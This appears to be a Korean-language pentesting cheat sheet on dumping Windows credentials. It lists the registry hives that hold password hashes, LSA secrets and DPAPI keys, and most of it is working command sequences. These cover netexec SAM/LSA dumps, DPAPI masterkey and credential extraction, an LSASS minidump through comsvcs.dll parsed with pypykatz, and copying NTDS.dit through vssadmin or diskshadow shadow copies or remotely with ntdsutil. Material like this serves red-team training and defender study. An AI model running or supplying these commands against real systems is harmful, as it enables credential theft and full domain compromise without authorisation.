Registry hive

HiveDescription
HKLM\SAM로컬 사용자 계정의 비밀번호 해시 저장
HKLM\SYSTEMSAM 데이터베이스 암호화에 사용되는 시스템 부팅 키 저장
HKLM\SECURITYLSA에서 사용하는 정보들 저장
- 캐시된 도메인 자격증명 (DCC2),
- 평문 패스워드,
- DPAPI키 등..
  • reg save로 덤프 (SeBackupPrivilege 필요)
  • 파일들은 모두 C:\Windows\System32\config\*에 저장
    • C:\Windows\System32\config\SAM
    • C:\Windows\System32\config\SYSTEM
    • C:\Windows\System32\config\SECURITY
  • SECURITY에 저장하는 DCC2(캐시된 도메인 자격증명) 해시는, PTH 공격에 활용이 불가하며, PBKDF2 알고리즘으로 해시되어 있다(hashcat 모드 2100)

netexec dump:

nxc smb $IP -u $USER -p $PASS --sam
nxc smb $IP -u $USER -p $PASS --lsa

DPAPI

# get masterkey (0x....)
dpapi.py masterkey -file <UUID_KeyFile>  -sid <UserSID> -password <User_Password>
 
# extract credentials
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D  -key '0x1b...1fd'

LSASS

최초 로그인시 LSASS의 역할:

  • 로컬 메모리에 자격 증명 캐시
  • access token 생성
  • 보안 정책 시행
  • Windows security log 기록

LSASS Dump

  1. LSASS.exe의 PID 확인
Get-Process lsass
ps
tasklist /svc
  1. Dump 파일 생성 (powershell, comsvcs.dll 활용)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $PID C:\windows\tasks\lsass.dmp full
  • C:\windows\tasks\lsass.dmp 생성
  1. .dump파일에서 해시 추출 (pypykatz 사용)
pypykatz lsa minidump /tmp/lsass.dmp

NTDS

  • C:\Windows\NTDS\ntds.dit에 저장
  • Active Directory 환경에서 도메인 계정 인증에 사용되는 일종의 데이터베이스.

NTDS dump

#1. vssadmin 사용 방식

vssadmin CREATE SHADOW /For=C:
...
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
 
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Windows\Tasks\NTDS.dit

#2. diskshadow 사용 방식

# backup.txt
set verbose on 
set metadata C:\Windows\Tasks\test.cab 
set context persistent 
add volume C: alias cdrive 
create 
expose %cdrive% E: 

볼륨 shadow 생성 및 ntds 복사

diskshadow /s ./backup.txt
robocopy /b E:\Windows\ntds .

#3. nxc 사용하여 원격으로 진행 (VSS 사용)

nxc smb $IP -u Administrator -p $PASS -M ntdsutil